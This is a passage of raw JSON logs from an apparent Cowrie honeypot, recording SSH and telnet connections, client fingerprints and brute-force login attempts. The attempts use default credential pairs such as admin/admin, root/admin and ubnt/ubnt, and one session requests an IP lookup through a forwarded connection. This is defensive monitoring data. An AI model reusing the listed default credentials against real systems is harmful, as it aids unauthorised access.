2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:15.727110Z","src_ip":"171.243.151.30","session":"07f76b9f2d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:17.066934Z","src_ip":"171.243.151.30","session":"07f76b9f2d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:19.016573Z","src_ip":"171.243.151.30","session":"07f76b9f2d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.49","src_port":59382,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d96a8cf3c74","protocol":"telnet","message":"New connection: 160.119.76.49:59382 (159.203.135.109:23) [session: 7d96a8cf3c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:29.707752Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.49","src_port":55296,"dst_ip":"159.203.135.109","dst_port":22,"session":"221c455b83eb","protocol":"ssh","message":"New connection: 160.119.76.49:55296 (159.203.135.109:22) [session: 221c455b83eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:29.715889Z"}
{"eventid":"cowrie.session.closed","duration":0.09220242500305176,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:29.799861Z","src_ip":"160.119.76.49","session":"7d96a8cf3c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:29.809424Z","src_ip":"160.119.76.49","session":"221c455b83eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":59380,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9a8bd37bb2a","protocol":"ssh","message":"New connection: 171.243.151.30:59380 (10.17.0.5:22) [session: e9a8bd37bb2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:31:44.550340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:31:44.712998Z","src_ip":"171.243.151.30","session":"e9a8bd37bb2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:31:44.790359Z","src_ip":"171.243.151.30","session":"e9a8bd37bb2a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:31:46.373767Z","src_ip":"171.243.151.30","session":"e9a8bd37bb2a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.243.151.30","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:31:47.099124Z","session":"e9a8bd37bb2a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:31:47.344859Z","src_ip":"171.243.151.30","session":"e9a8bd37bb2a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:31:47.353795Z","src_ip":"171.243.151.30","session":"e9a8bd37bb2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:31:48.125077Z","src_ip":"171.243.151.30","session":"e9a8bd37bb2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":33778,"dst_ip":"10.17.0.5","dst_port":22,"session":"56493fb17146","protocol":"ssh","message":"New connection: 171.243.151.30:33778 (10.17.0.5:22) [session: 56493fb17146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:34:04.255006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:34:04.259609Z","src_ip":"171.243.151.30","session":"56493fb17146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:34:04.531608Z","src_ip":"171.243.151.30","session":"56493fb17146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"installer","message":"login attempt [installer/installer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:34:05.834334Z","src_ip":"171.243.151.30","session":"56493fb17146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:34:07.459222Z","src_ip":"171.243.151.30","session":"56493fb17146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":34780,"dst_ip":"10.17.0.5","dst_port":22,"session":"85c0d9621360","protocol":"ssh","message":"New connection: 171.243.151.30:34780 (10.17.0.5:22) [session: 85c0d9621360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:36:34.298866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:36:34.303538Z","src_ip":"171.243.151.30","session":"85c0d9621360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:36:34.558285Z","src_ip":"171.243.151.30","session":"85c0d9621360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:36:35.421147Z","src_ip":"171.243.151.30","session":"85c0d9621360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:36:36.697691Z","src_ip":"171.243.151.30","session":"85c0d9621360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":52920,"dst_ip":"10.17.0.5","dst_port":22,"session":"384fce2190b1","protocol":"ssh","message":"New connection: 171.243.151.30:52920 (10.17.0.5:22) [session: 384fce2190b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:37:32.432319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:37:32.438390Z","src_ip":"171.243.151.30","session":"384fce2190b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:37:32.763129Z","src_ip":"171.243.151.30","session":"384fce2190b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:37:33.920851Z","src_ip":"171.243.151.30","session":"384fce2190b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:37:35.723559Z","src_ip":"171.243.151.30","session":"384fce2190b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":49876,"dst_ip":"159.203.135.109","dst_port":23,"session":"b83682fa00c9","protocol":"telnet","message":"New connection: 130.12.180.174:49876 (159.203.135.109:23) [session: b83682fa00c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:37:40.324496Z"}
{"eventid":"cowrie.session.closed","duration":0.5002346038818359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:37:40.824643Z","src_ip":"130.12.180.174","session":"b83682fa00c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":33936,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f7a9d38b5f2","protocol":"ssh","message":"New connection: 171.231.180.86:33936 (10.17.0.5:22) [session: 2f7a9d38b5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:40:18.106822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:40:18.111993Z","src_ip":"171.231.180.86","session":"2f7a9d38b5f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hell